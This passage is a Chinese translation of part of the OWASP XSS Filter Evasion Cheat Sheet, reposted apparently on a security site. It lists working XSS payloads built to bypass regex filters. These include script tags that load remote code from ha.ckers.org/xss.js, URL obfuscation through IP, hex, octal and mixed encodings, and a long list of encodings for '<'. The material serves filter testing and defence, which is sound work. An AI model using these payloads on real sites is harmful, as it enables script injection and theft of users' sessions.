最后一种绕过过滤规则为 "/<script((s+w+(s*=s*(?:"(.)*?"|'(.)*?'|[^'">s]+))?)+s*|s*)src/i”的攻击向量 (Firefox下不生效):
<SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT>

这是一个XSS的示例,攻击者猜测正则表达式不会匹配一对引号,但会不当的终止字符串参数:
<SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT>

这种XSS攻击向量让我很担忧,它几乎无法防御,除非禁止所有的动态内容。
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>

绕过URL字符串
假定页面不允许出现"http://www.google.com/"
IP 代替域名
<A HREF="http://66.102.7.147/">XSS</A>

URL编码
<A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A>

双字节编码
(注意:还有其他的双字节编码方式,你可以通过查看下面的IP混淆计算器来获取更多信息):
<A HREF="http://1113982867/">XSS</A>

十六进制编码
你可以在第2个数字看出来,每个数字允许的总大小在240之内。16进制的值是介于0~F之间的。从第3个数字看,前导0的也是不需要的:
<A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>

八进制编码
你可以填充0,并且要保证每个“数字”都不小于4个字符:
<A HREF="http://0102.0146.0007.00000223/">XSS</A>

混合编码
我们混合并匹配基础编码,添加一些制表符和换行符。这些符号需要包含在引号内。
<A HREF="h
tt      p://6   6.000146.0x7.147/">XSS</A>

协议解析绕过
(//转换为http://能节省一些字符)。当空间成为问题时,这是非常方便的方法。也能绕过类似于"(ht|f)tp(s)?://“的正则(感谢Ozh的提供)。你可以将"//“改为"\”。你需要保证斜杠在准确的位置,否则有可能被当成一个相对路径。
<A HREF="//www.google.com/">XSS</A>

Google “手气不错” 第1部分
Firefox使用Google的手气不错功能来根据用户键入的关键字跳转到对应的网站。如果你的攻击页面在一些随机关键词的顶部,你可以使用这个特性来攻击Firefox用户。这利用了Firefox的“keyword:”协议。你可以通过使用若干关键词来达到目的:"keyword:XSS+RSnake”,这在Firefox2.0版本不再有效。
<A HREF="//google">XSS</A>

Google "手气不错" 第2部分
这里使用了一个只有Firefox支持的小窍门。因为它是基于手气不错功能开发的。这个不支持opera,因为opera认为这是一个利用HTTP基本认证的网络钓鱼攻击。事实上它仅仅是一个畸形的URL。如果你单击这个链接的话,它就会产生作用。不过这个特性在Firefox2.0之后的版本也不支持了:
<A HREF="http://ha.ckers.org@google">XSS</A>

Google "手气不错” 第3部分
这是一个畸形的Url,只能在Firefox和Opera中起作用。因为它们是基于手气不错功能实现的:
<A HREF="http://google:ha.ckers.org">XSS</A>

删除cnames
结合上面的URL,移除www能节省4个字节:
<A HREF="http://google.com/">XSS</A>

额外的点:
<A HREF="http://www.google.com./">XSS</A>

JavaScript链接地址:
<A HREF="javascript:document.location='http://www.google.com/'">XSS</A>

内容替换攻击向量
假定"http://www.google.com/“被过滤器以编程方式被替换为空。我会使用类似的攻击向量借用过滤器的转换来绕过XSS过滤器从而创建攻击向量。下面是一个帮助创建攻击向量的例子(IE: "java&#x09;script:”被转换为"java script:”,这在IE、安全模式下的Netscape 8.1+和Opera是有效的):
<A HREF="http://www.gohttp://www.google.com/ogle.com/">XSS</A>

字符转义序列
下面是<字符在HTML和JavaScript中的所有可能的组合方式。它们中的多数不会被浏览器直接渲染,但是很多能够在上面的某些特定情况下被渲染:
<
%3C
&lt
&lt;
&LT
&LT;
&#60
&#060
&#0060
&#00060
&#000060
&#0000060
&#60;
&#060;
&#0060;
&#00060;
&#000060;
&#0000060;
&#x3c
&#x03c
&#x003c
&#x0003c
&#x00003c
&#x000003c
&#x3c;
&#x03c;
&#x003c;
&#x0003c;
&#x00003c;
&#x000003c;
&#X3c
&#X03c
&#X003c
&#X0003c
&#X00003c
&#X000003c
&#X3c;
&#X03c;
&#X003c;
&#X0003c;
&#X00003c;
&#X000003c;
&#x3C
&#x03C
&#x003C
&#x0003C
&#x00003C
&#x000003C
&#x3C;
&#x03C;
&#x003C;
&#x0003C;
&#x00003C;
&#x000003C;
&#X3C
&#X03C
&#X003C
&#X0003C
&#X00003C
&#X000003C
&#X3C;
&#X03C;
&#X003C;
&#X0003C;
&#X00003C;
&#X000003C;
x3c
x3C
u003c
u003C

字符编码与IP计算器
下面的链接包括对XSS有用的能够进行基本转换的计算器。
http://ha.ckers.org/xsscalc.html
作者和主编
Robert "RSnake" Hansen from www.fallingrocknetworks.com


This page was last modified on 9 January 2014, at 16:51.


英文原文: https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet

阅读:1969311 | 评论:1 | 标签:xss xss过滤 xss过滤绕过

想收藏或者和大家分享这篇好文章→复制链接地址

“XSS过滤绕过备忘单”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

参与本项目请私信联系:http://weibo.com/hackdig
目前项目参与成员:
taogogo
dor